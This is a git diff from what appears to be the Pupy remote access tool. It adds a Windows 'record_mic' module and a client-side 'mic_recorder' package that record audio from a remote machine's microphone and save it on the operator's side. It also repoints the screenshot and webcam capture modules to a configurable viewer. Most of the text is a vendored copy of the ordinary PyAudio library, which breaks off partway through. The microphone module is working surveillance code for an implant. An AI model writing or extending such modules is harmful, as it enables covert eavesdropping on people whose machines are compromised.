diff --git a/pupy/modules/record_mic.py b/pupy/modules/record_mic.py new file mode 100644 index 00000000..0fbbe4f3 --- /dev/null +++ b/pupy/modules/record_mic.py @@ -0,0 +1,47 @@ +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms + +from pupylib import * +import wave, datetime, os.path, subprocess + +__class_name__="RecordMicrophoneModule" + +def save_wav(path, sample_width, channels, rate, raw_frames): + waveFile = wave.open(path, 'wb') + waveFile.setnchannels(channels) + waveFile.setsampwidth(sample_width) + waveFile.setframerate(rate) + waveFile.writeframes(raw_frames) + waveFile.close() + +@config(cat="gather", compat=["windows"]) +class RecordMicrophoneModule(PupyModule): + """ record sound with the microphone ! """ + dependencies=["pyaudio", "mic_recorder"] + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='record_mic', description=self.__doc__) + self.arg_parser.add_argument('-t', '--time', default=5, help='number of 5 seconds recordings to save') + self.arg_parser.add_argument('-m', '--max-length', default=None, help='split recorded files into multiple files if the recording goes over --max-length seconds') + self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default sound player for preview') + + def run(self, args): + try: + os.makedirs(os.path.join("data","audio_records")) + except Exception: + pass + self.success("starting recording for %ss ..."%args.time) + data=b"" + max_length=args.max_length + if max_length is None: + max_length=args.time + if int(max_length) > int(args.time): + raise PupyModuleError("--max-length argument cannot be bigger than --time") + for sw, c, r, rf in self.client.conn.modules['mic_recorder'].record_iter(total=args.time, chunk=max_length): + filepath=os.path.join("data","audio_records","mic_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".wav") + save_wav(filepath, sw, c, r, rf) + self.success("microphone recording saved to %s"%filepath) + if args.view: + subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "sound_player"),filepath]) + + diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py index 874d73ce..10d1d179 100644 --- a/pupy/modules/screenshot.py +++ b/pupy/modules/screenshot.py @@ -45,7 +45,7 @@ class Screenshoter(PupyModule): self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__) self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen') self.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)') - self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the screenshot for preview') + self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview') def run(self, args): try: @@ -70,7 +70,7 @@ class Screenshoter(PupyModule): filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) if args.view: - subprocess.Popen(["eog",filepath]) + subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) self.success("screenshot saved to %s"%filepath) diff --git a/pupy/modules/webcamsnap.py b/pupy/modules/webcamsnap.py index 0b1e3d63..40719f7c 100644 --- a/pupy/modules/webcamsnap.py +++ b/pupy/modules/webcamsnap.py @@ -63,7 +63,7 @@ class WebcamSnapModule(PupyModule): with open(filepath,"w") as f: f.write(data) if args.view: - subprocess.Popen(["eog",filepath]) + subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath]) self.success("webcam picture saved to %s"%filepath) diff --git a/pupy/packages/all/mic_recorder.py b/pupy/packages/all/mic_recorder.py new file mode 100644 index 00000000..84ad864b --- /dev/null +++ b/pupy/packages/all/mic_recorder.py @@ -0,0 +1,31 @@ +# -*- coding: UTF8 -*- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms + +import pyaudio + +FORMAT = pyaudio.paInt16 +CHANNELS = 2 +RATE = 44100 +CHUNK = 1024 + +def record_iter(total=10, chunk=5): + try: + audio = pyaudio.PyAudio() + + stream = audio.open(format=FORMAT, channels=CHANNELS, + rate=RATE, input=True, + frames_per_buffer=CHUNK) + print "recording..." + for k in range(0, int(int(total)/int(chunk))): + data=b"" + for j in range(0, int(chunk)): + for i in range(0, int(RATE / CHUNK * 1)): + data += stream.read(CHUNK) + yield (audio.get_sample_size(FORMAT), CHANNELS, RATE, data) + print "finished recording" + finally: + stream.stop_stream() + stream.close() + audio.terminate() + diff --git a/pupy/packages/all/pyaudio.py b/pupy/packages/all/pyaudio.py new file mode 100644 index 00000000..0ed79bb2 --- /dev/null +++ b/pupy/packages/all/pyaudio.py @@ -0,0 +1,1118 @@ +# PyAudio : Python Bindings for PortAudio. + +# Copyright (c) 2006 Hubert Pham + +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: + +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +""" +PyAudio provides Python bindings for PortAudio, the cross-platform +audio I/O library. With PyAudio, you can easily use Python to play and +record audio on a variety of platforms. PyAudio is inspired by: + +* pyPortAudio/fastaudio: Python bindings for PortAudio v18 API. +* tkSnack: cross-platform sound toolkit for Tcl/Tk and Python. + +.. include:: ../sphinx/examples.rst + +Overview +-------- + +**Classes** + :py:class:`PyAudio`, :py:class:`Stream` + +.. only:: pamac + + **Host Specific Classes** + :py:class:`PaMacCoreStreamInfo` + +**Stream Conversion Convenience Functions** + :py:func:`get_sample_size`, :py:func:`get_format_from_width` + +**PortAudio version** + :py:func:`get_portaudio_version`, :py:func:`get_portaudio_version_text` + +.. |PaSampleFormat| replace:: :ref:`PortAudio Sample Format ` +.. _PaSampleFormat: + +**Portaudio Sample Formats** + :py:data:`paFloat32`, :py:data:`paInt32`, :py:data:`paInt24`, + :py:data:`paInt16`, :py:data:`paInt8`, :py:data:`paUInt8`, + :py:data:`paCustomFormat` + +.. |PaHostAPI| replace:: :ref:`PortAudio Host API ` +.. _PaHostAPI: + +**PortAudio Host APIs** + :py:data:`paInDevelopment`, :py:data:`paDirectSound`, :py:data:`paMME`, + :py:data:`paASIO`, :py:data:`paSoundManager`, :py:data:`paCoreAudio`, + :py:data:`paOSS`, :py:data:`paALSA`, :py:data:`paAL`, :py:data:`paBeOS`, + :py:data:`paWDMKS`, :py:data:`paJACK`, :py:data:`paWASAPI`, + :py:data:`paNoDevice` + +.. |PaErrorCode| replace:: :ref:`PortAudio Error Code ` +.. _PaErrorCode: + +**PortAudio Error Codes** + :py:data:`paNoError`, :py:data:`paNotInitialized`, + :py:data:`paUnanticipatedHostError`, :py:data:`paInvalidChannelCount`, + :py:data:`paInvalidSampleRate`, :py:data:`paInvalidDevice`, + :py:data:`paInvalidFlag`, :py:data:`paSampleFormatNotSupported`, + :py:data:`paBadIODeviceCombination`, :py:data:`paInsufficientMemory`, + :py:data:`paBufferTooBig`, :py:data:`paBufferTooSmall`, + :py:data:`paNullCallback`, :py:data:`paBadStreamPtr`, + :py:data:`paTimedOut`, :py:data:`paInternalError`, + :py:data:`paDeviceUnavailable`, + :py:data:`paIncompatibleHostApiSpecificStreamInfo`, + :py:data:`paStreamIsStopped`, :py:data:`paStreamIsNotStopped`, + :py:data:`paInputOverflowed`, :py:data:`paOutputUnderflowed`, + :py:data:`paHostApiNotFound`, :py:data:`paInvalidHostApi`, + :py:data:`paCanNotReadFromACallbackStream`, + :py:data:`paCanNotWriteToACallbackStream`, + :py:data:`paCanNotReadFromAnOutputOnlyStream`, + :py:data:`paCanNotWriteToAnInputOnlyStream`, + :py:data:`paIncompatibleStreamHostApi` + +.. |PaCallbackReturnCodes| replace:: :ref:`PortAudio Callback Return Code ` +.. _PaCallbackReturnCodes: + +**PortAudio Callback Return Codes** + :py:data:`paContinue`, :py:data:`paComplete`, :py:data:`paAbort` + +.. |PaCallbackFlags| replace:: :ref:`PortAutio Callback Flag ` +.. _PaCallbackFlags: + +**PortAudio Callback Flags** + :py:data:`paInputUnderflow`, :py:data:`paInputOverflow`, + :py:data:`paOutputUnderflow`, :py:data:`paOutputOverflow`, + :py:data:`paPrimingOutput` +""" + +__author__ = "Hubert Pham" +__version__ = "0.2.9" +__docformat__ = "restructuredtext en" + +import sys + +# attempt to import PortAudio +try: + import _portaudio as pa +except ImportError: + print("Could not import the PyAudio C module '_portaudio'.") + raise + +############################################################ +# GLOBALS +############################################################ + +##### PaSampleFormat Sample Formats ##### + +paFloat32 = pa.paFloat32 #: 32 bit float +paInt32 = pa.paInt32 #: 32 bit int +paInt24 = pa.paInt24 #: 24 bit int +paInt16 = pa.paInt16 #: 16 bit int +paInt8 = pa.paInt8 #: 8 bit int +paUInt8 = pa.paUInt8 #: 8 bit unsigned int +paCustomFormat = pa.paCustomFormat #: a custom data format + +###### HostAPI TypeId ##### + +paInDevelopment = pa.paInDevelopment #: Still in development +paDirectSound = pa.paDirectSound #: DirectSound (Windows only) +paMME = pa.paMME #: Multimedia Extension (Windows only) +paASIO = pa.paASIO #: Steinberg Audio Stream Input/Output +paSoundManager = pa.paSoundManager #: SoundManager (OSX only) +paCoreAudio = pa.paCoreAudio #: CoreAudio (OSX only) +paOSS = pa.paOSS #: Open Sound System (Linux only) +paALSA = pa.paALSA #: Advanced Linux Sound Architecture (Linux only) +paAL = pa.paAL #: Open Audio Library +paBeOS = pa.paBeOS #: BeOS Sound System +paWDMKS = pa.paWDMKS #: Windows Driver Model (Windows only) +paJACK = pa.paJACK #: JACK Audio Connection Kit +paWASAPI = pa.paWASAPI #: Windows Vista Audio stack architecture +paNoDevice = pa.paNoDevice #: Not actually an audio device + +###### portaudio error codes ##### + +paNoError = pa.paNoError +paNotInitialized = pa.paNotInitialized +paUnanticipatedHostError = pa.paUnanticipatedHostError +paInvalidChannelCount = pa.paInvalidChannelCount +paInvalidSampleRate = pa.paInvalidSampleRate +paInvalidDevice = pa.paInvalidDevice +paInvalidFlag = pa.paInvalidFlag +paSampleFormatNotSupported = pa.paSampleFormatNotSupported +paBadIODeviceCombination = pa.paBadIODeviceCombination +paInsufficientMemory = pa.paInsufficientMemory +paBufferTooBig = pa.paBufferTooBig +paBufferTooSmall = pa.paBufferTooSmall +paNullCallback = pa.paNullCallback +paBadStreamPtr = pa.paBadStreamPtr +paTimedOut = pa.paTimedOut +paInternalError = pa.paInternalError +paDeviceUnavailable = pa.paDeviceUnavailable +paIncompatibleHostApiSpecificStreamInfo = pa.paIncompatibleHostApiSpecificStreamInfo +paStreamIsStopped = pa.paStreamIsStopped +paStreamIsNotStopped = pa.paStreamIsNotStopped +paInputOverflowed = pa.paInputOverflowed +paOutputUnderflowed = pa.paOutputUnderflowed +paHostApiNotFound = pa.paHostApiNotFound +paInvalidHostApi = pa.paInvalidHostApi +paCanNotReadFromACallbackStream = pa.paCanNotReadFromACallbackStream +paCanNotWriteToACallbackStream = pa.paCanNotWriteToACallbackStream +paCanNotReadFromAnOutputOnlyStream = pa.paCanNotReadFromAnOutputOnlyStream +paCanNotWriteToAnInputOnlyStream = pa.paCanNotWriteToAnInputOnlyStream +paIncompatibleStreamHostApi = pa.paIncompatibleStreamHostApi + +###### portaudio callback return codes ###### + +paContinue = pa.paContinue #: There is more audio data to come +paComplete = pa.paComplete #: This was the last block of audio data +paAbort = pa.paAbort #: An error ocurred, stop playback/recording + +###### portaudio callback flags ###### + +paInputUnderflow = pa.paInputUnderflow #: Buffer underflow in input +paInputOverflow = pa.paInputOverflow #: Buffer overflow in input +paOutputUnderflow = pa.paOutputUnderflow #: Buffer underflow in output +paOutputOverflow = pa.paOutputOverflow #: Buffer overflow in output +paPrimingOutput = pa.paPrimingOutput #: Just priming, not playing yet + +############################################################ +# Convenience Functions +############################################################ + +def get_sample_size(format): + """ + Returns the size (in bytes) for the specified + sample *format*. + + :param format: A |PaSampleFormat| constant. + :raises ValueError: on invalid specified `format`. + :rtype: integer + """ + + return pa.get_sample_size(format) + +def get_format_from_width(width, unsigned=True): + """ + Returns a PortAudio format constant for the specified *width*. + + :param width: The desired sample width in bytes (1, 2, 3, or 4) + :param unsigned: For 1 byte width, specifies signed or unsigned format. + + :raises ValueError: when invalid *width* + :rtype: A |PaSampleFormat| constant + """ + + if width == 1: + if unsigned: + return paUInt8 + else: + return paInt8 + elif width == 2: + return paInt16 + elif width == 3: + return paInt24 + elif width == 4: + return paFloat32 + else: + raise ValueError("Invalid width: %d" % width) + + +############################################################ +# Versioning +############################################################ + +def get_portaudio_version(): + """ + Returns portaudio version. + + :rtype: string + """ + + return pa.get_version() + +def get_portaudio_version_text(): + """ + Returns PortAudio version as a text string. + + :rtype: string + """ + + return pa.get_version_text() + +############################################################ +# Wrapper around _portaudio Stream (Internal) +############################################################ + +# Note: See PyAudio class below for main export. + +class Stream: + """ + PortAudio Stream Wrapper. Use :py:func:`PyAudio.open` to make a new + :py:class:`Stream`. + + **Opening and Closing** + :py:func:`__init__`, :py:func:`close` + + **Stream Info** + :py:func:`get_input_latency`, :py:func:`get_output_latency`, + :py:func:`get_time`, :py:func:`get_cpu_load` + + **Stream Management** + :py:func:`start_stream`, :py:func:`stop_stream`, :py:func:`is_active`, + :py:func:`is_stopped` + + **Input Output** + :py:func:`write`, :py:func:`read`, :py:func:`get_read_available`, + :py:func:`get_write_available` + """ + + def __init__(self, + PA_manager, + rate, + channels, + format, + input=False, + output=False, + input_device_index=None, + output_device_index=None, + frames_per_buffer=1024, + start=True, + input_host_api_specific_stream_info=None, + output_host_api_specific_stream_info=None, + stream_callback=None): + """ + Initialize a stream; this should be called by + :py:func:`PyAudio.open`. A stream can either be input, output, + or both. + + :param PA_manager: A reference to the managing :py:class:`PyAudio` + instance + :param rate: Sampling rate + :param channels: Number of channels + :param format: Sampling size and format. See |PaSampleFormat|. + :param input: Specifies whether this is an input stream. + Defaults to ``False``. + :param output: Specifies whether this is an output stream. + Defaults to ``False``. + :param input_device_index: Index of Input Device to use. + Unspecified (or ``None``) uses default device. + Ignored if `input` is ``False``. + :param output_device_index: + Index of Output Device to use. + Unspecified (or ``None``) uses the default device. + Ignored if `output` is ``False``. + :param frames_per_buffer: Specifies the number of frames per buffer. + :param start: Start the stream running immediately. + Defaults to ``True``. In general, there is no reason to set + this to ``False``. + :param input_host_api_specific_stream_info: Specifies a host API + specific stream information data structure for input. + + .. only:: pamac + + See :py:class:`PaMacCoreStreamInfo`. + + :param output_host_api_specific_stream_info: Specifies a host API + specific stream information data structure for output. + + .. only:: pamac + + See :py:class:`PaMacCoreStreamInfo`. + + :param stream_callback: Specifies a callback function for + *non-blocking* (callback) operation. Default is + ``None``, which indicates *blocking* operation (i.e., + :py:func:`Stream.read` and :py:func:`Stream.write`). To use + non-blocking operation, specify a callback that conforms + to the following signature: + + .. code-block:: python + + callback(in_data, # recorded data if input=True; else None + frame_count, # number of frames + time_info, # dictionary + status_flags) # PaCallbackFlags + + ``time_info`` is a dictionary with the following keys: + ``input_buffer_adc_time``, ``current_time``, and + ``output_buffer_dac_time``; see the PortAudio + documentation for their meanings. ``status_flags`` is one + of |PaCallbackFlags|. + + The callback must return a tuple: + + .. code-block:: python + + (out_data, flag) + + ``out_data`` is a byte array whose length should be the + (``frame_count * channels * bytes-per-channel``) if + ``output=True`` or ``None`` if ``output=False``. ``flag`` + must be either :py:data:`paContinue`, :py:data:`paComplete` or + :py:data:`paAbort` (one of |PaCallbackReturnCodes|). + When ``output=True`` and ``out_data`` does not contain at + least ``frame_count`` frames, :py:data:`paComplete` is + assumed for ``flag``. + + **Note:** ``stream_callback`` is called in a separate + thread (from the main thread). Exceptions that occur in + the ``stream_callback`` will: + + 1. print a traceback on standard error to aid debugging, + 2. queue the exception to be thrown (at some point) in + the main thread, and + 3. return `paAbort` to PortAudio to stop the stream. + + **Note:** Do not call :py:func:`Stream.read` or + :py:func:`Stream.write` if using non-blocking operation. + + **See:** PortAudio's callback signature for additional + details: http://portaudio.com/docs/v19-doxydocs/portaudio_8h.html#a8a60fb2a5ec9cbade3f54a9c978e2710 + + :raise ValueError: Neither input nor output are set True. + """ + + # no stupidity allowed + if not (input or output): + raise ValueError("Must specify an input or output " + "stream.") + + # remember parent + self._parent = PA_manager + + # remember if we are an: input, output (or both) + self._is_input = input + self._is_output = output + + # are we running? + self._is_running = start + + # remember some parameters + self._rate = rate + self._channels = channels + self._format = format + self._frames_per_buffer = frames_per_buffer + + arguments = { + 'rate' : rate, + 'channels' : channels, + 'format' : format, + 'input' : input, + 'output' : output, + 'input_device_index' : input_device_index, + 'output_device_index' : output_device_index, + 'frames_per_buffer' : frames_per_buffer} + + if input_host_api_specific_stream_info: + _l = input_host_api_specific_stream_info + arguments[ + 'input_host_api_specific_stream_info' + ] = _l._get_host_api_stream_object() + + if output_host_api_specific_stream_info: + _l = output_host_api_specific_stream_info + arguments[ + 'output_host_api_specific_stream_info' + ] = _l._get_host_api_stream_object() + + if stream_callback: + arguments['stream_callback'] = stream_callback + + # calling pa.open returns a stream object + self._stream = pa.open(**arguments) + + self._input_latency = self._stream.inputLatency + self._output_latency = self._stream.outputLatency + + if self._is_running: + pa.start_stream(self._stream) + + def close(self): + """ Close the stream """ + + pa.close(self._stream) + + self._is_running = False + + self._parent._remove_stream(self) + + + ############################################################ + # Stream Info + ############################################################ + + def get_input_latency(self): + """ + Return the input latency. + + :rtype: float + """ + + return self._stream.inputLatency + + def get_output_latency(self): + """ + Return the input latency. + + :rtype: float + """ + + return self._stream.outputLatency + + def get_time(self): + """ + Return stream time. + + :rtype: float + """ + + return pa.get_stream_time(self._stream) + + def get_cpu_load(self): + """ + Return the CPU load. This is always 0.0 for the + blocking API. + + :rtype: float + """ + + return pa.get_stream_cpu_load(self._stream) + + + ############################################################ + # Stream Management + ############################################################ + + def start_stream(self): + """ Start the stream. """ + + if self._is_running: + return + + pa.start_stream(self._stream) + self._is_running = True + + def stop_stream(self): + """ + Stop the stream. Once the stream is stopped, one may not call + write or read. Call :py:func:`start_stream` to resume the + stream. + """ + + if not self._is_running: + return + + pa.stop_stream(self._stream) + self._is_running = False + + def is_active(self): + """ + Returns whether the stream is active. + + :rtype: bool + """ + + return pa.is_stream_active(self._stream) + + def is_stopped(self): + """ + Returns whether the stream is stopped. + + :rtype: bool + """ + + return pa.is_stream_stopped(self._stream) + + + ############################################################ + # Reading/Writing + ############################################################ + + def write(self, frames, num_frames=None, + exception_on_underflow=False): + + """ + Write samples to the stream. Do not call when using + *non-blocking* mode. + + :param frames: + The frames of data. + :param num_frames: + The number of frames to write. + Defaults to None, in which this value will be + automatically computed. + :param exception_on_underflow: + Specifies whether an IOError exception should be thrown + (or silently ignored) on buffer underflow. Defaults + to False for improved performance, especially on + slower platforms. + + :raises IOError: if the stream is not an output stream + or if the write operation was unsuccessful. + + :rtype: `None` + """ + + if not self._is_output: + raise IOError("Not output stream", + paCanNotWriteToAnInputOnlyStream) + + if num_frames == None: + # determine how many frames to read + width = get_sample_size(self._format) + num_frames = int(len(frames) / (self._channels * width)) + #print len(frames), self._channels, self._width, num_frames + + pa.write_stream(self._stream, frames, num_frames, + exception_on_underflow) + + + def read(self, num_frames, exception_on_overflow=True): + """ + Read samples from the stream. Do not call when using + *non-blocking* mode. + + :param num_frames: The number of frames to read. + :param exception_on_overflow: + Specifies whether an IOError exception should be thrown + (or silently ignored) on input buffer overflow. Defaults + to True. + :raises IOError: if stream is not an input stream + or if the read operation was unsuccessful. + :rtype: string + """ + + if not self._is_input: + raise IOError("Not input stream", + paCanNotReadFromAnOutputOnlyStream) + + return pa.read_stream(self._stream, num_frames, exception_on_overflow) + + def get_read_available(self): + """ + Return the number of frames that can be read without waiting. + + :rtype: integer + """ + + return pa.get_stream_read_available(self._stream) + + + def get_write_available(self): + """ + Return the number of frames that can be written without + waiting. + + :rtype: integer + + """ + + return pa.get_stream_write_available(self._stream) + + + +############################################################ +# Main Export +############################################################ + +class PyAudio: + + """ + Python interface to PortAudio. Provides methods to: + - initialize and terminate PortAudio + - open and close streams + - query and inspect the available PortAudio Host APIs + - query and inspect the available PortAudio audio + devices + + Use this class to open and close streams. + + **Stream Management** + :py:func:`open`, :py:func:`close` + + **Host API** + :py:func:`get_host_api_count`, :py:func:`get_default_host_api_info`, + :py:func:`get_host_api_info_by_type`, + :py:func:`get_host_api_info_by_index`, + :py:func:`get_device_info_by_host_api_device_index` + + **Device API** + :py:func:`get_device_count`, :py:func:`is_format_supported`, + :py:func:`get_default_input_device_info`, + :py:func:`get_default_output_device_info`, + :py:func:`get_device_info_by_index` + + **Stream Format Conversion** + :py:func:`get_sample_size`, :py:func:`get_format_from_width` + + **Details** + """ + + ############################################################ + # Initialization and Termination + ############################################################ + + def __init__(self): + """Initialize PortAudio.""" + + pa.initialize() + self._streams = set() + + def terminate(self): + """ + Terminate PortAudio. + + :attention: Be sure to call this method for every instance of + this object to release PortAudio resources. + """ + + for stream in self._streams.copy(): + stream.close() + + self._streams = set() + + pa.terminate() + + + ############################################################ + # Stream Format + ############################################################ + + def get_sample_size(self, format): + """ + Returns the size (in bytes) for the specified + sample `format` (a |PaSampleFormat| constant). + + :param format: A |PaSampleFormat| constant. + :raises ValueError: Invalid specified `format`. + :rtype: integer + """ + + return pa.get_sample_size(format) + + def get_format_from_width(self, width, unsigned=True): + """ + Returns a PortAudio format constant for the specified `width`. + + :param width: The desired sample width in bytes (1, 2, 3, or 4) + :param unsigned: For 1 byte width, specifies signed or unsigned format. + + :raises ValueError: for invalid `width` + :rtype: A |PaSampleFormat| constant. + """ + + if width == 1: + if unsigned: + return paUInt8 + else: + return paInt8 + elif width == 2: + return paInt16 + elif width == 3: + return paInt24 + elif width == 4: + return paFloat32 + else: + raise ValueError("Invalid width: %d" % width) + + + ############################################################ + # Stream Factory + ############################################################ + + def open(self, *args, **kwargs): + """ + Open a new stream. See constructor for + :py:func:`Stream.__init__` for parameter details. + + :returns: A new :py:class:`Stream` + """ + + stream = Stream(self, *args, **kwargs) + self._streams.add(stream) + return stream + + def close(self, stream): + """ + Close a stream. Typically use :py:func:`Stream.close` instead. + + :param stream: An instance of the :py:class:`Stream` object. + :raises ValueError: if stream does not exist. + """ + + if stream not in self._streams: + raise ValueError("Stream `%s' not found" % str(stream)) + + stream.close() + + def _remove_stream(self, stream): + """ + Internal method. Removes a stream. + + :param stream: An instance of the :py:class:`Stream` object. + """ + + if stream in self._streams: + self._streams.remove(stream) + + + ############################################################ + # Host API Inspection + ############################################################ + + def get_host_api_count(self): + """ + Return the number of available PortAudio Host APIs. + + :rtype: integer + """ + + return pa.get_host_api_count() + + def get_default_host_api_info(self): + """ + Return a dictionary containing the default Host API + parameters. The keys of the dictionary mirror the data fields + of PortAudio's ``PaHostApiInfo`` structure. + + :raises IOError: if no default input device is available + :rtype: dict + """ + + defaultHostApiIndex = pa.get_default_host_api() + return self.get_host_api_info_by_index(defaultHostApiIndex) + + def get_host_api_info_by_type(self, host_api_type): + """ + Return a dictionary containing the Host API parameters for the + host API specified by the `host_api_type`. The keys of the + dictionary mirror the data fields of PortAudio's ``PaHostApiInfo`` + structure. + + :param host_api_type: The desired |PaHostAPI| + :raises IOError: for invalid `host_api_type` + :rtype: dict + """ + + index = pa.host_api_type_id_to_host_api_index(host_api_type) + return self.get_host_api_info_by_index(index) + + def get_host_api_info_by_index(self, host_api_index): + """ + Return a dictionary containing the Host API parameters for the + host API specified by the `host_api_index`. The keys of the + dictionary mirror the data fields of PortAudio's ``PaHostApiInfo`` + structure. + + :param host_api_index: The host api index + :raises IOError: for invalid `host_api_index` + :rtype: dict + """ + + return self._make_host_api_dictionary( + host_api_index, + pa.get_host_api_info(host_api_index) + ) + + def get_device_info_by_host_api_device_index(self, + host_api_index, + host_api_device_index): + """ + Return a dictionary containing the Device parameters for a + given Host API's n'th device. The keys of the dictionary + mirror the data fields of PortAudio's ``PaDeviceInfo`` structure. + + :param host_api_index: The Host API index number + :param host_api_device_index: The n'th device of the host API + :raises IOError: for invalid indices + :rtype: dict + """ + + long_method_name = pa.host_api_device_index_to_device_index + device_index = long_method_name(host_api_index, + host_api_device_index) + return self.get_device_info_by_index(device_index) + + def _make_host_api_dictionary(self, index, host_api_struct): + """ + Internal method to create Host API dictionary that mirrors + PortAudio's ``PaHostApiInfo`` structure. + + :rtype: dict + """ + + return {'index' : index, + 'structVersion' : host_api_struct.structVersion, + 'type' : host_api_struct.type, + 'name' : host_api_struct.name, + 'deviceCount' : host_api_struct.deviceCount, + 'defaultInputDevice' : host_api_struct.defaultInputDevice, + 'defaultOutputDevice' : host_api_struct.defaultOutputDevice} + + + ############################################################ + # Device Inspection + ############################################################ + + def get_device_count(self): + """ + Return the number of PortAudio Host APIs. + + :rtype: integer + """ + + return pa.get_device_count() + + def is_format_supported(self, rate, + input_device=None, + input_channels=None, + input_format=None, + output_device=None, + output_channels=None, + output_format=None): + """ + Check to see if specified device configuration + is supported. Returns True if the configuration + is supported; throws a ValueError exception otherwise. + + :param rate: + Specifies the desired rate (in Hz) + :param input_device: + The input device index. Specify ``None`` (default) for + half-duplex output-only streams. + :param input_channels: + The desired number of input channels. Ignored if + `input_device` is not specified (or ``None``). + :param input_format: + PortAudio sample format constant defined + in this module + :param output_device: + The output device index. Specify ``None`` (default) for + half-duplex input-only streams. + :param output_channels: + The desired number of output channels. Ignored if + `input_device` is not specified (or ``None``). + :param output_format: + |PaSampleFormat| constant. + + :rtype: bool + :raises ValueError: tuple containing (error string, |PaErrorCode|). + """ + + if input_device == None and output_device == None: + raise ValueError("must specify stream format for input, " +\ + "output, or both", paInvalidDevice); + + kwargs = {} + + if input_device != None: + kwargs['input_device'] = input_device + kwargs['input_channels'] = input_channels + kwargs['input_format'] = input_format + + if output_device != None: + kwargs['output_device'] = output_device + kwargs['output_channels'] = output_channels + kwargs['output_format'] = output_format + + return pa.is_format_supported(rate, **kwargs) + + def get_default_input_device_info(self): + """ + Return the default input Device parameters as a + dictionary. The keys of the dictionary mirror the data fields + of PortAudio's ``PaDeviceInfo`` structure. + + :raises IOError: No default input device available. + :rtype: dict + """ + + device_index = pa.get_default_input_device() + return self.get_device_info_by_index(device_index) + + def get_default_output_device_info(self): + """ + Return the default output Device parameters as a + dictionary. The keys of the dictionary mirror the data fields + of PortAudio's ``PaDeviceInfo`` structure. + + :raises IOError: No default output device available. + :rtype: dict + """ + + device_index = pa.get_default_output_device() + return self.get_device_info_by_index(device_index) + + + def get_device_info_by_index(self, device_index): + """ + Return the Device parameters for device specified in + `device_index` as a dictionary. The keys of the dictionary + mirror the data fields of PortAudio's ``PaDeviceInfo`` + structure. + + :param device_index: The device index + :raises IOError: Invalid `device_index`. + :rtype: dict + """ + + return self._make_device_info_dictionary( + device_index, + pa.get_device_info(device_index) + ) + + def _make_device_info_dictionary(self, index, device_info): + """ + Internal method to create Device Info dictionary that mirrors + PortAudio's ``PaDeviceInfo`` structure. + + :rtype: dict + """ + + device_name = device_info.name + + # Attempt to decode device_name + for codec in ["utf-8", "cp1252"]: + try: + device_name = device_name.decode(codec) + break + except: + pass + + # If we fail to decode, we return the raw bytes and let the caller + # deal with the encoding. + return {'index' : index, + 'structVersion' : device_info.structVersion, + 'name' : device_name, + 'hostApi' : device_info.hostApi, + 'maxInputChannels' : device_info.maxInputChannels, + 'maxOutputChannels' : device_info.maxOutputChannels, + 'defaultLowInputLatency' : + device_info.defaultLowInputLatency, + 'defaultLowOutputLatency' : + device_info.defaultLowOutputLatency, + 'defaultHighInputLatency' : + device_info.defaultHighInputLatency, + 'defaultHighOutputLatency' : + device_info.defaultHighOutputLatency, + 'defaultSampleRate' : + device_info.defaultSampleRate + } + + +###################################################################### +# Host Specific Stream Info +###################################################################### + +try: + paMacCoreStreamInfo = pa.paMacCoreStreamInfo +except AttributeError: + pass +else: + class PaMacCoreStreamInfo: + """ + Mac OS X-only: PaMacCoreStreamInfo is a PortAudio Host API + Specific Stream Info data structure for specifying Mac OS + X-only settings. Instantiate this class (if desired) and pass + the instance as the argument in :py:func:`PyAudio.open` to parameters + ``input_host_api_specific_stream_info`` or + ``output_host_api_specific_stream_info``. + (See :py:func:`Stream.__init__`.) + + :note: Mac OS X only. + + .. |PaMacCoreFlags| replace:: :ref:`PortAudio Mac Core Flags ` + .. _PaMacCoreFlags: + + **PortAudio Mac Core Flags** + :py:data:`paMacCoreChangeDeviceParameters`, + :py:data:`paMacCoreFailIfConversionRequired`, + :py:data:`paMacCoreConversionQualityMin`, + :py:data:`paMacCoreConversionQualityMedium`, + :py:data:`paMacCoreConversionQualityLow`, + :py:data:`paMacCoreConversionQualityHigh`, + :py:data:`paMacCoreConversionQualityMax`, + :py:data:`paMacCorePlayNice`, + :py:data:`paMacCorePro`, + :py:data:`paMacCoreMinimizeCPUButPlayNice`, + :py:data:`paMacCoreMinimizeCPU` + + **Settings** + :py:func:`get_flags`, :py:func:`get_channel_map` + """ + + paMacCoreChangeDeviceParameters = pa.paMacCoreChangeDeviceParameters + 